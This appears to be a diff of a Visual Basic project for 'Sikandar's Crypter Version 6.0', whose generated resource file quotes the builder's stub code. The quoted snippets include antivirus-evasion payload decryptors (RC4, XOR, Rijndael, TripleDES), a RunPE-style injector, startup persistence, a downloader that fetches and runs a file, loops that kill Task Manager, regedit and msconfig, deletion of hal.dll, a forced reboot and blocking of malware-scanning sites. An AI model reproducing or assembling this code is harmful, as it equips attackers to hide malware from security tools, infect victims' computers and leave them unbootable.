' Runtime Version:4.0.30319.1
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
' or if you encounter build errors in this file, go to the Project Designer
' (go to Project Properties or double-click the My Project node in
' Solution Explorer), and make changes on the Application tab.
'
Partial Friend Class MyApplication
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Public Sub New()
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
Me.IsSingleInstance = false
Me.EnableVisualStyles = true
Me.SaveMySettingsOnExit = true
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
End Sub
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
Protected Overrides Sub OnCreateMainForm()
Me.MainForm = Global.SCV6._0.Form1
End Sub
End Class
End Namespace
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>true</MySubMain>
<MainForm>Form1</MainForm>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,35 @@
Imports System
Imports System.Reflection
Imports System.Runtime.InteropServices
' General Information about an assembly is controlled through the following
' set of attributes. Change these attribute values to modify the information
' associated with an assembly.
' Review the values of the assembly attributes
<Assembly: AssemblyTitle("Sikandar's Crypter Version 6.0")>
<Assembly: AssemblyDescription("Sikandar's Crypter Version 6.0")>
<Assembly: AssemblyCompany("Sikandar's Lab")>
<Assembly: AssemblyProduct("Sikandar's Crypter Version 6.0")>
<Assembly: AssemblyCopyright("Copyright © Sikandar's Lab 2011")>
<Assembly: AssemblyTrademark("")>
<Assembly: ComVisible(True)>
'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("e21ab8a7-22de-4c4e-939b-046c28e42886")>
' Version information for an assembly consists of the following four values:
'
' Major Version
' Minor Version
' Build Number
' Revision
'
' You can specify all the values or you can default the Build and Revision Numbers
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>
<Assembly: AssemblyVersion("6.0.0.0")>
<Assembly: AssemblyFileVersion("6.0.0.0")>
@@ -0,0 +1,847 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.1
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Imports System
Namespace My.Resources
'This class was auto-generated by the StronglyTypedResourceBuilder
'class via a tool like ResGen or Visual Studio.
'To add or remove a member, edit your .ResX file then rerun ResGen
'with the /str option, or rebuild your VS project.
'''<summary>
''' A strongly-typed resource class, for looking up localized strings, etc.
'''</summary>
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
Friend Module Resources
Private resourceMan As Global.System.Resources.ResourceManager
Private resourceCulture As Global.System.Globalization.CultureInfo
'''<summary>
''' Returns the cached ResourceManager instance used by this class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
Get
If Object.ReferenceEquals(resourceMan, Nothing) Then
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SCV6._0.Resources", GetType(Resources).Assembly)
resourceMan = temp
End If
Return resourceMan
End Get
End Property
'''<summary>
''' Overrides the current thread's CurrentUICulture property for all
''' resource lookups using this strongly typed resource class.
'''</summary>
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Friend Property Culture() As Global.System.Globalization.CultureInfo
Get
Return resourceCulture
End Get
Set
resourceCulture = value
End Set
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub PushStart()
''' Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) &amp; &quot;\&quot; &amp; IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
''' While True
''' Try
''' If Not IO.File.Exists(xx) Then
''' IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
''' End If
''' Catch
''' End Try
''' System.Threading.Thread.Sleep(5000)
''' End While
'''End Sub.
'''</summary>
Friend ReadOnly Property Add2StartUp() As String
Get
Return ResourceManager.GetString("Add2StartUp", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub F63()
''' Killer(&quot;dxdiag&quot;)
''' End Sub.
'''</summary>
Friend ReadOnly Property Adxdiag() As String
Get
Return ResourceManager.GetString("Adxdiag", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;NM&quot;)))))
''' Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
''' If IO.File.Exists(I) Then
''' IO.File.Delete(I)
''' End If
''' Try
''' My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;I&quot;)))), False)
''' Catch
''' End Try
''' LoadMethod(&quot;IX&quot;, &quot;R&quot;, CC(ReverseString(R.GetObject(&quot;X&quot;))), New Object() {AD(System.Text.Encoding.Default.GetByt [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property AESLoader() As String
Get
Return ResourceManager.GetString("AESLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Function AD(ByVal Y As Byte())
''' Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
''' A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
''' Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
''' Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
''' Convert.ToInt32(10, 2), Convert.ToInt32(&amp;H1, 2)}
''' A.Key = New Byte() {Convert.ToInt32(&amp;H0, 2), Conve [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property AESRev() As String
Get
Return ResourceManager.GetString("AESRev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub F62()
''' Killer(&quot;notepad&quot;)
''' End Sub.
'''</summary>
Friend ReadOnly Property ANotePad() As String
Get
Return ResourceManager.GetString("ANotePad", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub AT
''' Dim id As String = &quot;76487-337-8429955-22614&quot;
'''
''' Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(&quot;SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot;, False)
'''
''' Dim pid As Object = regPID.GetValue(&quot;ProductId&quot;)
'''
''' Dim D As Object, R As String = Nothing, B As String = &quot;SELECT * FROM Win32_VideoController&quot;
'''
''' D = GetObject(&quot;winmgmts:&quot;).ExecQuery(B)
'''
''' Dim AdaptList As Object
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property AntisSub() As String
Get
Return ResourceManager.GetString("AntisSub", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Declare Function SetWindowLong Lib &quot;user32.dll&quot; Alias &quot;SetWindowLongA&quot; (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
'''|Public Declare Function CallWindowProc Lib &quot;user32.dll&quot; Alias &quot;CallWindowProcA&quot; (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'''|Public Declare Function DefWindowProc Lib &quot;user32.dll&quot; Alias &quot;DefWindowProcA&quot; (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property APIs() As String
Get
Return ResourceManager.GetString("APIs", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim filled() As String
'''
'''Dim rand As New Random()
'''
'''&apos;FilledSplitting
'''
'''Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &amp; &quot;\&quot; &amp; rand.Next(10000, 99999).ToString &amp; filled(1)
'''
'''My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
'''
'''System.Diagnostics.Process.Start(tpth)
'''
'''.
'''</summary>
Friend ReadOnly Property Binder() As String
Get
Return ResourceManager.GetString("Binder", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &amp; &quot;\1&quot; &amp; IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
'''My.Computer.Network.DownloadFile($DownloadLink$, Expl)
'''Do Until IO.File.Exists(Expl) = True
''' System.Threading.Thread.Sleep(1000)
'''Loop
'''System.Diagnostics.Process.Start(Expl).
'''</summary>
Friend ReadOnly Property Downloader() As String
Get
Return ResourceManager.GetString("Downloader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Try
''' Dim regloc As String = &quot;HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer&quot;
''' My.Computer.Registry.SetValue(regloc, &quot;NoFolderOptions&quot;, &quot;1&quot;, Microsoft.Win32.RegistryValueKind.DWord)
'''Catch
'''End Try.
'''</summary>
Friend ReadOnly Property FolderOpt() As String
Get
Return ResourceManager.GetString("FolderOpt", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Sub A(ByVal ProcessName As String)
''' Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses
''' If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length &gt;= 1 Then
''' System.Threading.Thread.Sleep(10000)
''' End If
'''End Sub.
'''</summary>
Friend ReadOnly Property FunctionA() As String
Get
Return ResourceManager.GetString("FunctionA", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Try
''' IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) &amp; &quot;\hal.dll&quot;)
'''Catch
'''End Try.
'''</summary>
Friend ReadOnly Property HalDLL() As String
Get
Return ResourceManager.GetString("HalDLL", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
''' Dim vr1 As New Threading.Thread(AddressOf vr0)
''' vr1.SetApartmentState(Threading.ApartmentState.STA)
''' vr1.Start(bytes)
''' End Function
''' Private Shared Sub vr0(ByVal vr0 As Object)
''' Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
''' If vr19.GetParameters.Length = 1 Then
''' vr19.Invoke(Nothing, New Object() {New String() {}})
''' Else ''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property Invoke() As String
Get
Return ResourceManager.GetString("Invoke", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function Killer(ByVal proc As String) As String
''' Try
''' While True
''' Dim p As System.Diagnostics.Process
''' For Each p In System.Diagnostics.Process.GetProcesses
''' If proc.Contains(p.ProcessName) Then
''' p.Kill()
''' End If
''' Next
''' System.Threading.Thread.Sleep(1)
''' End While
''' Catch ex As Exception
''' End Try
''' Return Nothing
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property KFunction() As String
Get
Return ResourceManager.GetString("KFunction", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub KKK
'''
''' Dim KF13 As New System.Threading.Thread(AddressOf F13)
'''
''' KF13.Start()
'''
''' Dim KF14 As New System.Threading.Thread(AddressOf F14)
'''
''' KF14.Start()
'''
''' Dim KF15 As New System.Threading.Thread(AddressOf F15)
'''
''' KF15.Start()
'''
''' Dim KF16 As New System.Threading.Thread(AddressOf F16)
'''
''' KF16.Start()
'''
''' Dim KF17 As New System.Threading.Thread(AddressOf F17)
'''
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property Killers() As String
Get
Return ResourceManager.GetString("Killers", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to &apos;Shared Sub Melt(ByVal NewName As String)
''' &apos; Try
''' &apos; Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
''' &apos; If Application.StartupPath = NewFolder = False Then
''' &apos; FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder &amp; &quot;\&quot; &amp; NewName)
''' &apos; Shell(NewFolder &amp; &quot;\&quot; &amp; NewName &amp; &quot; &quot; &amp; Application.ExecutablePath)
''' &apos; Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
''' &apos; IO.File.SetAttributes(NewFolder &amp; &quot;\&quot; &amp; NewName, Hidden)
''' &apos; [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property Melt() As String
Get
Return ResourceManager.GetString("Melt", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub F61()
''' Killer(&quot;msconfig&quot;)
''' End Sub.
'''</summary>
Friend ReadOnly Property msconfig() As String
Get
Return ResourceManager.GetString("msconfig", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function PolyDec(ByVal Input As String) As String
''' Dim Output As String = Nothing
''' Dim SA() As String
''' SA = Input.Split(&quot;|&quot;)
''' For Each C As String In SA
''' Try
''' Output = Output &amp; Chr(C - SA(0))
''' Catch
''' End Try
''' Next
''' Return Output.Remove(0, 1)
'''End Function.
'''</summary>
Friend ReadOnly Property PolyDec() As String
Get
Return ResourceManager.GetString("PolyDec", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim D As New PolyRC4(R.GetObject(&quot;K&quot;))
''' Dim N As String = D.Decrypt(R.GetObject(&quot;NM&quot;))
''' Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
''' If IO.File.Exists(I) Then
''' IO.File.Delete(I)
''' End If
''' Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject(&quot;I&quot;)))
''' Try
''' My.Computer.FileSystem.WriteAllBytes(I, B, False)
''' Catch
''' End Try
''' Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject(&quot;F&quot;)))
''' LoadMethod(&quot;IX&quot;, &quot;R&quot;, CC(ReverseString(R.GetObject(&quot;X&quot;)) [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property PolyRC4Loader() As String
Get
Return ResourceManager.GetString("PolyRC4Loader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Class PolyRC4
'''
''' Private Key As String = &quot;sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf&quot;
'''
''' Sub New(ByVal EncryptionKey As String)
'''
''' Key = EncryptionKey
'''
''' End Sub
'''
''' Public Function Encrypt(ByVal message As String) As String
'''
''' message = XX(message, Key)
'''
''' Dim random As New Random()
'''
''' Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
'''
''' Dim out [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property PolyRC4Rev() As String
Get
Return ResourceManager.GetString("PolyRC4Rev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;NM&quot;))), _
'''R.GetObject(&quot;K&quot;)))
'''Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
'''If IO.File.Exists(I) Then
''' IO.File.Delete(I)
'''End If
'''Try
''' My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;I&quot;))), (R.GetObject(&quot;K&quot;))), False)
'''Catch
'''End Try
'''LoadMethod(&quot;IX&quot;, &quot; [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property PolyStairsLoader() As String
Get
Return ResourceManager.GetString("PolyStairsLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Class PolyMorphicStairs
''' Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
''' Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
''' PolyDeCrypt = Encoding.Default.GetString(buff)
''' Erase buff
''' End Function
''' Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal Ex [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property PolyStairsRev() As String
Get
Return ResourceManager.GetString("PolyStairsRev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim D As New Polymorphic(R.GetObject(&quot;K&quot;))
''' Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;NM&quot;)))))
''' Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
''' If IO.File.Exists(I) Then
''' IO.File.Delete(I)
''' End If
''' Try
''' My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;I&quot;)))), False)
''' Catch
''' End Try
''' LoadMethod(&quot;IX&quot;, &quot;R&quot;, CC(ReverseString(R.Get [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property PolyXORLoader() As String
Get
Return ResourceManager.GetString("PolyXORLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Class PolyMorphic
''' &apos;Variable for the Key.
''' Private sKey As String = &quot;&quot;
''' &apos;Property, will Give us acces to the key.
''' Public Property Key() As String
''' Get
''' Return sKey
''' End Get
''' Set(ByVal value As String)
''' sKey = value
''' End Set
''' End Property
''' &apos;Inisalization. (New Constructor)
''' Public Sub New(ByVal Key As String)
''' Me.Key = Key
''' End Sub
''' Public [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property PolyXORRev() As String
Get
Return ResourceManager.GetString("PolyXORRev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
'''
''' Dim s(Convert.ToInt32(11111111, &amp;H2)) As Byte
'''
''' Dim i As Integer
'''
''' For i = Convert.ToInt32(&amp;H0, &amp;H2) To s.Length - Convert.ToInt32(&amp;H1, &amp;H2)
'''
''' s(i) = CByte(i)
'''
''' Next
'''
''' Dim j As Integer
'''
''' For i = Convert.ToInt32(&amp;H0, &amp;H2) To s.Length - Convert.ToInt32(&amp;H1, &amp;H2)
'''
''' j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &amp;H2)
'''
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property RC4() As String
Get
Return ResourceManager.GetString("RC4", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;NM&quot;))), _
'''R.GetObject(&quot;K&quot;)))
'''Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
'''If IO.File.Exists(I) Then
''' IO.File.Delete(I)
'''End If
'''Try
''' My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;I&quot;))), (R.GetObject(&quot;K&quot;))), False)
'''Catch
'''End Try
'''LoadMethod(&quot;IX&quot;, &quot;R&quot;, CC(ReverseString(R.GetObject(&quot;X&quot;))), New Object( [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property RC4Loader() As String
Get
Return ResourceManager.GetString("RC4Loader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub F60()
''' Killer(&quot;regedit&quot;)
'''End Sub.
'''</summary>
Friend ReadOnly Property Regedit() As String
Get
Return ResourceManager.GetString("Regedit", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Option Explicit Off
'''Option Strict Off
'''Imports System.Reflection
'''Imports System.Runtime.InteropServices
'''Imports System
'''Imports Microsoft.VisualBasic
'''Imports System.Text
'''Imports System.Security.Cryptography
'''Imports Microsoft.Win32
'''Imports System.Windows.Forms
'''Imports System.IO
'''Imports System.CodeDom.Compiler
'''&apos;AssemblyCodes
'''Public Class Out
''' &apos;FakeAPI#1
''' &apos;FakeAPI#2
''' &apos;FakeAPI#3
''' &apos;FakeAPI#4
''' &apos;FakeAPI#5
''' &apos;FakeAPI#6
''' &apos;FakeAPI#7
''' &apos;FakeAPI#8
''' &apos;FakeAPI#9
''' &apos;FakeAPI#A
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property ResetStub() As String
Get
Return ResourceManager.GetString("ResetStub", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &amp; &quot;\restart&quot;
'''If Not IO.File.Exists(bytloc) Then
''' Dim filebyt As Byte() = New Byte() {}
''' My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
''' Microsoft.VisualBasic.Shell(&quot;shutdown -r -t&quot; &amp; &quot; 00&quot;, Microsoft.VisualBasic.AppWinStyle.Hide)
'''End If.
'''</summary>
Friend ReadOnly Property Restart() As String
Get
Return ResourceManager.GetString("Restart", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = RijndaelDecrypt(R.GetObject(&quot;NM&quot;),R.GetObject(&quot;K&quot;))
''' Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
''' If IO.File.Exists(I) Then
''' IO.File.Delete(I)
''' End If
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject(&quot;I&quot;), _
''' R.GetObject(&quot;K&quot;)))
''' Try
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
''' Catch
''' End Try
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject(&quot;F&quot;), _
''' R.GetObject(&quot;K&quot;)))
''' LoadMethod(&quot;IX [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property RijLoader() As String
Get
Return ResourceManager.GetString("RijLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
'''
''' Dim A As New RijndaelManaged
'''
''' Dim BC() As Byte
'''
''' Dim BS() As Byte = New Byte() {Convert.ToInt32(&amp;H1, &amp;H2), _
''' Convert.ToInt32(10, &amp;H2), _
''' Convert.ToInt32(11, &amp;H2), _
''' Convert.ToInt32(100, &amp;H2), _
''' Convert.ToInt32(101, &amp;H2), [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property RijndaelRev() As String
Get
Return ResourceManager.GetString("RijndaelRev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to using System.Runtime.InteropServices;
'''using System;
'''using System.Text;
'''public class IX
'''{
''' [return: MarshalAs(UnmanagedType.Bool)]
''' [DllImport(&quot;kernel32&quot;)]
''' private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
''' [return: MarshalAs(UnmanagedType.Bool)]
''' [DllImport(&quot;kernel32&quot;)]
''' private static extern bool [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property RpE() As String
Get
Return ResourceManager.GetString("RpE", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;NM&quot;))), _
'''R.GetObject(&quot;K&quot;)))
'''Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
'''If IO.File.Exists(I) Then
''' IO.File.Delete(I)
'''End If
'''Try
''' My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(&quot;I&quot;))), (R.GetObject(&quot;K&quot;))), False)
'''Catch
'''End Try
'''LoadMethod(&quot;IX&quot;, &quot;R&quot;, CC(ReverseString(R.GetObject(&quot;X&quot;))), N [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property StairsLoader() As String
Get
Return ResourceManager.GetString("StairsLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
''' For i = Data.Length - Convert.ToInt32(&amp;H1, 2) To Convert.ToInt32(0, 2) Step -1
''' Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
''' Convert.ToInt32(&amp;H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
''' Mod Convert.ToInt32(100000000, 2))
''' Next
''' Return Data
''' End Function.
'''</summary>
Friend ReadOnly Property StairsRev() As String
Get
Return ResourceManager.GetString("StairsRev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Option Explicit Off
'''Option Strict Off
'''Imports System.Reflection
'''Imports System.Runtime.InteropServices
'''Imports System
'''Imports Microsoft.VisualBasic
'''Imports System.Text
'''Imports System.Security.Cryptography
'''Imports Microsoft.Win32
'''Imports System.Windows.Forms
'''Imports System.IO
'''Imports System.CodeDom.Compiler
'''&apos;AssemblyCodes
'''Public Class Out
''' &apos;FakeAPI#1
''' &apos;FakeAPI#2
''' &apos;FakeAPI#3
''' &apos;FakeAPI#4
''' &apos;FakeAPI#5
''' &apos;FakeAPI#6
''' &apos;FakeAPI#7
''' &apos;FakeAPI#8
''' &apos;FakeAPI#9
''' &apos;FakeAPI#A
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property Stub() As String
Get
Return ResourceManager.GetString("Stub", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub F59()
''' Killer(&quot;taskmgr&quot;)
'''End Sub.
'''</summary>
Friend ReadOnly Property TaskMSub() As String
Get
Return ResourceManager.GetString("TaskMSub", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = TripleDESdecrypt(R.GetObject(&quot;NM&quot;),R.GetObject(&quot;K&quot;), True)
''' Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
''' If IO.File.Exists(I) Then
''' IO.File.Delete(I)
''' End If
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject(&quot;I&quot;), _
''' R.GetObject(&quot;K&quot;), True))
''' Try
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
''' Catch
''' End Try
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(TripleDESdecrypt(R.GetObject(&quot;F&quot;), _
''' R.GetObject(&quot;K&quot;), Tr [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property TDESLoader() As String
Get
Return ResourceManager.GetString("TDESLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
''' Dim keyArray As Byte()
''' Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
''' If d Then
''' Dim hashmd5 = New MD5CryptoServiceProvider()
''' keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
''' Else
''' keyArray = UTF8Encoding.UTF8.GetBytes(c)
''' End If
''' Dim tdes = New TripleDESCryptoServiceProvider()
''' td [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property TDESRev() As String
Get
Return ResourceManager.GetString("TDESRev", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Shared Sub W
'''
''' WebBlock(&quot;www.novirusthanks.org&quot;)
'''
''' WebBlock(&quot;www.virustotal.com&quot;)
'''
''' WebBlock(&quot;www.virusscan.jotti.org&quot;)
'''
''' WebBlock(&quot;www.malwarebytes.org&quot;)
'''
''' WebBlock(&quot;www.bitdefender.com/scanner/online/free.html&quot;)
'''
